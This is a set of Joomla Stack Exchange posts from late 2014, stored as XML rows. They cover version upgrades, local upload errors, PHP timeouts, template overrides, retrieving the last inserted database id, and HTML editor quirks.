  <row Id="5738" PostTypeId="1" AcceptedAnswerId="5739" CreationDate="2014-12-19T23:08:33.383" Score="6" ViewCount="7814" Body="&lt;p&gt;I've got a Joomla 2.5.28 site that I want to upgrade to Joomla 3.3.x. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All available docs say all I need to do is set my update server to short term, and the 3.x series upgrade option will appear. Well, it doesn't! I've cleared my caches, logged out and back in, etc. and the control panel shows the nag that Joomla 2.5 will be desupported soon-- but the Joomla Update view just says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You already have the latest Joomla! version, 2.5.28.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't see any option to begin the migration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="159" LastEditDate="2014-12-20T20:33:13.013" LastActivityDate="2018-11-19T02:08:40.553" Title="Upgrade to Joomla 3 not available" Tags="|joomla-3.x|joomla-2.5|upgrade|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5739" PostTypeId="2" ParentId="5738" CreationDate="2014-12-20T11:08:20.133" Score="5" Body="&lt;p&gt;I had this issue a long time ago too. I cleared and purged all available caches, tried again and it worked. You do have an alternative which is download the update package:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://joomlacode.org/gf/download/frsrelease/19823/161247/%4a%6f%6f%6d%6c%61%5f%33%2e%33%2e%36%2d%53%74%61%62%6c%65%2d%55%70%64%61%74%65%5f%50%61%63%6b%61%67%65%2e%7a%69%70&quot; rel=&quot;noreferrer&quot;&gt;Joomla_3.3.6-Stable-Update_Package.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, install it as you would any other extension via the Extension Manager in the Joomla backend. Please remember to take a backup of your 2.5 site (including the database) before you do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-12-20T11:08:20.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5740" PostTypeId="1" AcceptedAnswerId="5742" CreationDate="2014-12-20T16:12:41.930" Score="2" ViewCount="1033" Body="&lt;p&gt;Running ubuntu 14.04 Joomla 2.5.27 locally (2.5.28 remotely - not relevant to my question as far as I'm aware.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am having trouble configuring my site to run locally. I have the site installed on my localhost server and can browse it fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to update to version 2.5.28 from 2.5.27 before finally looking to update to 3.5 I receive the following error message:-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;There was an error uploading this file to the server.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked out question people have asked before here on stackexchange and other sites and tried various things. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)Like changing folder permission. Currently set to 755 I believe.&#xA;2)Changing the path of the logs and tmp files to : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;public $log_path = '/var/www/log';&#xA;public $tmp_path = '/var/www/tmp';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3)setting the password for my local msql database - of course,else the site wouldn't work. Root password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4)Changed the size of the file allow in ini.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/21411896/error-uploading-big-extensions-to-joomla-on-a-localhost&quot;&gt;https://stackoverflow.com/questions/21411896/error-uploading-big-extensions-to-joomla-on-a-localhost&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a bit at a loss as to what I'm doing wrong.&lt;/p&gt;&#xA;" OwnerDisplayName="user2205" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-12-20T20:53:46.617" Title="Localhost configuration problem- loading extensions &quot;There was an error uploading this file to the server.&quot;" Tags="|joomla-2.5|extensions|localhost|file-upload|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5741" PostTypeId="1" CreationDate="2014-12-20T17:05:00.717" Score="3" ViewCount="2519" Body="&lt;p&gt;I recently moved my Joomla 3.3.6 site on WHM/VPS from shared hosting, and now facing too many problems: My Joomla back-end is very slow and now I am getting following error in back-end:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Maximum execution time of 30 seconds exceeded in /home/mydirector/public_html/libraries/phputf8/mbstring/core.php on line 121&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mbstring is enabled in VPS/WHM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should i do? I cant work in back-end properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Php: 5.3.29&#xA;MySQL version   5.1.68-cll&#xA;Apache version  2.2.29&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate if someone can assist in this regard, because I contacted with hosting provider and they told me its not our problem. And i believe this is from VPS side because i never ever had issue on shared hosting but on VPS&lt;/p&gt;&#xA;" OwnerUserId="1863" LastActivityDate="2014-12-21T14:36:51.787" Title="Maximum execution time of 30 seconds exceeded" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5742" PostTypeId="2" ParentId="5740" CreationDate="2014-12-20T18:59:57.143" Score="1" Body="&lt;p&gt;In the BE, navigate to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;System Information &gt; Directory Permissions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The status should be green for all folders / files, especially the &lt;code&gt;tmp&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/91cqO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see this as &quot;unwritable&quot; you need to change this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some good documentation about this in &lt;a href=&quot;https://docs.joomla.org/Installing_Joomla_on_Debian_Linux&quot; rel=&quot;nofollow noreferrer&quot;&gt;Installing Joomla on Debian Linux&lt;/a&gt;. See the section with &lt;strong&gt;Set ownerships and permissions&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-12-20T20:53:46.617" LastActivityDate="2014-12-20T20:53:46.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5743" PostTypeId="2" ParentId="5738" CreationDate="2014-12-21T03:16:00.523" Score="5" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to Components&gt;Joomla! Update&lt;/li&gt;&#xA;&lt;li&gt;Click the Options icon in the upper right corner&lt;/li&gt;&#xA;&lt;li&gt;If it's on Long Term Support, switch it to Short Term Support and save&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;See if that makes the 3.3.X update show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it's a safe guard so you don't accidentally bump a site to 3.x without thinking about it first.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-12-21T03:16:00.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5745" PostTypeId="1" AcceptedAnswerId="5751" CreationDate="2014-12-21T11:07:49.817" Score="5" ViewCount="1642" Body="&lt;p&gt;I'm running a lamp stack on ubuntu 14.04. Just upgraded my local site from 2.5.28 to 3.3.6. It upgraded okay but all the menus are messed up. The formatting is shocking!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vFtBv.jpg&quot; alt=&quot;See menus top right and layout of save boxes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ac0pJ.jpg&quot; alt=&quot;poor formatting- unworkable&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advise as to why the formatting of my backend is so bad? I've tried changing the template but it doesn't help.&lt;/p&gt;&#xA;" OwnerDisplayName="user2205" LastActivityDate="2016-06-20T22:46:30.243" Title="Menus and layout a mess on mini upgrade 2.5.28 to 3.3.6" Tags="|joomla-3.3.x|upgrade|layout|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5747" PostTypeId="2" ParentId="5741" CreationDate="2014-12-21T14:36:51.787" Score="2" Body="&lt;p&gt;As David said in the comment, you'll need to increase your execution time (see &lt;a href=&quot;https://stackoverflow.com/questions/5164930/fatal-error-maximum-execution-time-of-30-seconds-exceeded&quot;&gt;this question/answer&lt;/a&gt;).  Once done, you should be able to run the Administrator and turn on Joomla Debugging.  With that enabled, you pages will show all sorts of diagnostic information, most particularly how long pages took to load, and where it's happening.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-12-21T14:36:51.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5748" PostTypeId="1" AcceptedAnswerId="5750" CreationDate="2014-12-21T23:23:40.867" Score="1" ViewCount="321" Body="&lt;p&gt;i'm new to Joomla! but I really like it, i'm working on 'migrating' a website template to Joomla. This is how the template looks like &lt;a href=&quot;http://nerdyfuture.byethost24.com/&quot; rel=&quot;nofollow&quot;&gt;NerdyFuture&lt;/a&gt;. It's not finished yet but i planned on finishing it in Joomla, so i want to have the latest news exactly how it is in the template. How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="3396" LastActivityDate="2014-12-22T00:10:21.737" Title="Custom Latest News Module?" Tags="|joomla-3.x|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5749" PostTypeId="2" ParentId="1059" CreationDate="2014-12-21T23:30:05.577" Score="5" Body="&lt;p&gt;You have to be careful with any of the reported data below and see it as data relative to that source data. No web service knows exactly the make up of the internet by cms or any technology as all the services crawl or sample the content base on meta tags or ways sites report in their code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some people remove these and some sites are put up and then left.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So talk to Jessica Dunbar the marketing for joomla, this was the JaB video I was at where she talks stats &lt;a href=&quot;https://www.youtube.com/watch?v=rwttFiH2pbs&quot;&gt;https://www.youtube.com/watch?v=rwttFiH2pbs&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2014-12-21T23:30:05.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5750" PostTypeId="2" ParentId="5748" CreationDate="2014-12-22T00:10:21.737" Score="2" Body="&lt;p&gt;The default Joomla module &lt;strong&gt;mod_article__latest&lt;/strong&gt; can be used as the Latest News module. So once you have your articles setup, you will then need to start the styling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1 is to create a &lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;template override&lt;/a&gt; for this module. This will allow you to use your own styling for a module without editing any core Joomla files. Here are the steps in simply terms:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In your template folder, create a folder called &lt;strong&gt;html&lt;/strong&gt; and then inside that, create a folder called &lt;strong&gt;mod_articles_latest&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Copy this file: &lt;code&gt;modules/mod_articles_latest/tmpl/default.php&lt;/code&gt; to your newly created folder.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now that you have your file copied, you can start editing it accordingly and merging your styling with it.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-12-22T00:10:21.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5751" PostTypeId="2" ParentId="5745" CreationDate="2014-12-22T03:19:51.797" Score="2" Body="&lt;p&gt;First of all, the admin template in your screenshot is the default &lt;strong&gt;Joomla 2.5&lt;/strong&gt; template called &quot;Bluestork&quot;, and it's not made for Joomla 3. Joomla 3.x comes with a new default template called &quot;Isis&quot;, so the first thing to do is to set &quot;isis&quot; as default admin template in &lt;kbd&gt;Extensions&lt;/kbd&gt; &gt; &lt;kbd&gt;Template Manager&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B9bP4.jpg&quot; alt=&quot;Setting default template&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will probably solve the problem, but if it doesn't, here's a couple of other things to try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Clear your browsers cache&lt;/li&gt;&#xA;&lt;li&gt;Clear Joomla cache (&lt;kbd&gt;System&lt;/kbd&gt; &gt; &lt;kbd&gt;Clear cache&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Copy the folder &lt;code&gt;administrator/templates/isis&lt;/code&gt; and all of it's content from another Joomla 3.x installation (or from the full installation package available &lt;a href=&quot;http://www.joomla.org/download.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) to the same location on your local site, and replace any existing files if prompted.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-22T03:19:51.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5752" PostTypeId="2" ParentId="5736" CreationDate="2014-12-22T08:47:56.263" Score="1" Body="&lt;p&gt;As Lodder stated above in the comments - the calendar field being saved to DB in UTC. But... only if you use &lt;code&gt;filter=&quot;USER_UTC&quot;&lt;/code&gt; or &lt;code&gt;filter=&quot;SERVER_UTC&quot;&lt;/code&gt; in the XML and then  validate your form using &lt;code&gt;validate()&lt;/code&gt; method. The magic is happening in the &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/3.3.6/libraries/joomla/form/form.php#L1286-L1316&quot; rel=&quot;nofollow&quot;&gt;filterField()&lt;/a&gt; method of &lt;code&gt;JForm&lt;/code&gt; class which converts the value to UTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you set up the date you should always think about your local time. So if your episode has a scheduled date of &quot;2015-01-02&quot; (UTC), your local time is UTC and server is running &quot;America/Los_Angeles&quot; (UTC-8) and you set &quot;2015-01-02&quot; then the calendar field should display &quot;2015-01-02&quot; for you, but not &quot;2015-01-01&quot;. If you will try to change your timezone to UTC-1 for example, it should display &quot;2015-01-01&quot;, because it will be &quot;2015-01-01 23:00:00&quot;. But for all on the website it will be &quot;2015-01-01 16:00:00&quot; (UTC-8).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is a strange behavior. When you are omitting this filter the display value defaults to &lt;code&gt;USER_UTC&lt;/code&gt;. It is ok. But when you validate the form it will not use &lt;code&gt;USER_UTC&lt;/code&gt; as filter and save the value as is. The result is obvious and confusing - the calendar field will always shift the time. So if you are omitting it you should convert to UTC by yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a bug? I am not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&#xA;I feel that we should add this to &lt;a href=&quot;https://docs.joomla.org/Calendar_form_field_type&quot; rel=&quot;nofollow&quot;&gt;doc&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="3" LastEditDate="2014-12-22T09:22:02.543" LastActivityDate="2014-12-22T09:22:02.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5753" PostTypeId="2" ParentId="5718" CreationDate="2014-12-22T11:32:51.200" Score="3" Body="&lt;p&gt;I found a solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lang = JFactory::getLanguage();&#xA;$lang-&amp;gt;load('com_mycomponent', JPATH_SITE, 'en-GB', true);&#xA;$lang-&amp;gt;load('com_mycomponent', JPATH_SITE, $lang-&amp;gt;getTag(), true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First we load main translation (in my case it's en-GB), then load active language. If there is no active language translation, Joomla display main translation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;List of language tags:&lt;/em&gt;&lt;/strong&gt;&#xA;&lt;a href=&quot;https://community.joomla.org/translations/joomla-3-translations.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.joomla.org/translations/joomla-3-translations.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1592" LastEditorUserId="7024" LastEditDate="2017-07-18T13:44:28.977" LastActivityDate="2017-07-18T13:44:28.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5754" PostTypeId="1" AcceptedAnswerId="5768" CreationDate="2014-12-22T13:38:15.987" Score="4" ViewCount="25135" Body="&lt;p&gt;I have to insert my data into 2 different tables, in the first table I have the following query which works perfectly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$insertProjectUser = 'INSERT INTO #__pmanager_user (user_cms_id, user_email, user_created_ip) VALUES (' . $user-&amp;gt;id . ', &quot;' . $user-&amp;gt;email . '&quot;, &quot;' . $_SERVER['REMOTE_ADDR'] . '&quot;)';&#xA;$db-&amp;gt;setQuery($insertProjectUser );&#xA;$db-&amp;gt;query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This table has an auto-incremented column called &lt;code&gt;project_user_id&lt;/code&gt; and I need this value immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I correctly get the &quot;last inserted id&quot;? I tried more solutions like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mysqli_insert_id($db)&lt;/li&gt;&#xA;&lt;li&gt;$selectedID = insertid()&lt;/li&gt;&#xA;&lt;li&gt;mysqli_insert_id($db)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All these solutions provide only zero 0 value.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Updated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My query is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$insertProjectUser = 'INSERT INTO #__pmanager_user (user_cms_id, user_email, user_created_ip) VALUES (' . $user-&amp;gt;id . ', &quot;' . $user-&amp;gt;email . '&quot;, &quot;' . $_SERVER['REMOTE_ADDR'] . '&quot;)';&#xA;$db-&amp;gt;setQuery($insertProjectUser );&#xA;$db-&amp;gt;query();&#xA;$addressID = $db-&amp;gt;insertid();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I do: &lt;code&gt;echo $addressID&lt;/code&gt;, I get nothing (empty string).&lt;/p&gt;&#xA;" OwnerUserId="2107" LastEditorUserId="12352" LastEditDate="2018-04-13T09:16:50.423" LastActivityDate="2018-10-04T12:00:05.207" Title="Joomla DB Insert, how to get last inserted id?" Tags="|php|mysql|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5755" PostTypeId="2" ParentId="5754" CreationDate="2014-12-22T14:04:50.860" Score="7" Body="&lt;p&gt;To get the ID of the last inserted row, you can use &lt;code&gt;insertid()&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;query();&#xA;$lastRowId = $db-&amp;gt;insertid();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then use &lt;code&gt;$lastRowId&lt;/code&gt; where ever you wish in your next query&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update with latest DB coding standards (J2.5)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$columns = array('user_cms_id', 'user_email', 'user_created_ip');   &#xA;$values = array($db-&amp;gt;quote($user-&amp;gt;id), $db-&amp;gt;quote($user-&amp;gt;email), $db-&amp;gt;quote($_SERVER['REMOTE_ADDR']));&#xA;&#xA;$query-&amp;gt;insert($db-&amp;gt;quoteName('#__pmanager_user'))&#xA;      -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;      -&amp;gt;values(implode(',', $values));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;query();&#xA;&#xA;$addressID = $db-&amp;gt;insertid();&#xA;&#xA;echo $addressID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-12-22T16:00:07.987" LastActivityDate="2014-12-22T16:00:07.987" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="5756" PostTypeId="1" CreationDate="2014-12-22T14:47:39.570" Score="1" ViewCount="27" Body="&lt;p&gt;I want to create a premium membership where certain groups have more features than the other. They can edit these features but the result of that feature should be visible to everyone. For example the premium member can add their own music. Regular members can't. However regular users can listen to the music of the premium member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I restrict the editing of a certain Tab and it's field to a certain groups but the accessability should be public?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla 2 Community Builder.&lt;/p&gt;&#xA;" OwnerUserId="3399" LastEditorUserId="1629" LastEditDate="2014-12-22T15:13:04.963" LastActivityDate="2014-12-22T15:13:04.963" Title="How do I restrict the editing of a Tab to certain user group but not it's accessability?" Tags="|joomla-2.5|joomla-user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5757" PostTypeId="2" ParentId="5756" CreationDate="2014-12-22T14:53:54.863" Score="1" Body="&lt;p&gt;I assume you're referring to the &lt;em&gt;fields&lt;/em&gt; within a tab, not the Tab itself, so you can modify the attributes of the form fields in it's model.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// One method that can be used to determine if they CAN edit&#xA;// Example for Categories, adjust for Community Builder&#xA;$canEdit    = $user-&amp;gt;authorise('core.edit', 'com_content.category.' . $catid);&#xA;&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('name', 'class', 'readonly');&#xA;$this-&amp;gt;form-&amp;gt;setFieldAttribute('name', 'readonly', 'true');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-12-22T14:53:54.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5759" PostTypeId="1" CreationDate="2014-12-22T15:39:09.140" Score="4" ViewCount="121" Body="&lt;p&gt;I added an audio field on a user profile. The audio field should play MP3 files. For some MP3 files it works fine for others it doesn't work at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example this works fine:&#xA;&lt;a href=&quot;https://ia601208.us.archive.org/1/items/YourSongbonusTrack/17YourSongbonusTrack.mp3&quot; rel=&quot;nofollow&quot;&gt;https://ia601208.us.archive.org/1/items/YourSongbonusTrack/17YourSongbonusTrack.mp3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This however doesn't work on the audio field:&#xA;&lt;a href=&quot;http://ellie-g.com/downloads/Ellie%20Goulding%20-%20Your%20Song.mp3&quot; rel=&quot;nofollow&quot;&gt;http://ellie-g.com/downloads/Ellie%20Goulding%20-%20Your%20Song.mp3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3399" LastActivityDate="2014-12-22T17:34:18.227" Title="Certain MP3 files won't work on audio field" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5760" PostTypeId="1" AcceptedAnswerId="5761" CreationDate="2014-12-22T15:49:03.170" Score="1" ViewCount="50" Body="&lt;p&gt;i'm trying to copy some html to joomla. yesterday it worked fine, but today i saw that something was wrong, i looked in google Chrome and saw that the line of code that should be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     &amp;lt;div class=&quot;caption&quot; id=&quot;five&quot;&amp;gt;&#xA;       &amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;h5&amp;gt;Windows 10 &amp;lt;p&amp;gt;Lorem ipsum dolor sitamet&amp;lt;/p&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;                  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Was now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     &amp;lt;div class=&quot;caption&quot; id=&quot;five&quot;&amp;gt;&#xA;       &amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;h5&amp;gt;Windows 10 &amp;lt;/h&amp;gt;&amp;lt;p&amp;gt;Lorem ipsum dolor sitamet&amp;lt;/p&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to change filtering etc, but i can not fix it. Also it was very strange to me that it worked perfectly yesterday but today it did not. Can someone help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i'm using JCE editor)&lt;/p&gt;&#xA;" OwnerUserId="3396" LastActivityDate="2014-12-22T15:56:15.090" Title="Joomla adds closing tags in HTML" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5761" PostTypeId="2" ParentId="5760" CreationDate="2014-12-22T15:56:15.090" Score="1" Body="&lt;p&gt;Even though they are both block elements, you should not be using &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags inside &lt;code&gt;&amp;lt;h*&lt;/code&gt;&gt; tags as it's not semantically correct. Thing like this may cause editors such as your JCE to throw a hissy fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; is an inline elements, therefore inless you specify it as a block element, your &lt;code&gt;&amp;lt;h5&amp;gt;&lt;/code&gt; tag should be the parent, not the child&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, what you should be doing is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;caption&quot; id=&quot;five&quot;&amp;gt;&#xA;    &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Windows 10 &amp;lt;span&amp;gt;Lorem ipsum dolor sitamet&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CSS:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.caption &amp;gt; a {&#xA;    display: block;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-12-22T15:56:15.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5763" PostTypeId="2" ParentId="5759" CreationDate="2014-12-22T17:34:18.227" Score="2" Body="&lt;p&gt;URL's are NOT allowed to contain spaces. Your second URL seems to point to a file containing  spaces (&lt;code&gt;Ellie Goulding - Your Song.mp3&lt;/code&gt;), and at some point it is encoded to replace and whitespace character with &lt;code&gt;%20&lt;/code&gt;. It's also possible that your original file name actually contains &lt;code&gt;%20&lt;/code&gt;, but that's not possible to tell from your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different browsers (and servers) will handle names with spaces differently, so you should avoid spaces in both folder and file names to be safe. I can't tell exactly where the problem is, but as @Lodder pointed out in his comment, replacing &lt;code&gt;%20&lt;/code&gt; (or spaces) with an underscore &lt;code&gt;_&lt;/code&gt; is a common way to solve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://www.ietf.org/rfc/rfc2396.txt&quot; rel=&quot;nofollow&quot;&gt;RSC 2396&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2.4.3. Excluded US-ASCII Characters&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Although they are disallowed within the URI syntax, we include here&#xA;  a    description of those US-ASCII characters that have been excluded&#xA;  and    the reasons for their exclusion.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The control characters in the US-ASCII coded character set are not &#xA;  used within a URI, both because they are non-printable and because&lt;br&gt;&#xA;  they are likely to be misinterpreted by some control mechanisms.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;control     = &lt;code&gt;&amp;lt;US-ASCII coded characters 00-1F and 7F hexadecimal&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The space character is excluded because significant spaces may&lt;br&gt;&#xA;  disappear and insignificant spaces may be introduced when URI are&lt;br&gt;&#xA;  transcribed or typeset or subjected to the treatment of word-&lt;br&gt;&#xA;  processing programs.  Whitespace is also used to delimit URI in many&lt;br&gt;&#xA;  contexts.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-22T17:34:18.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
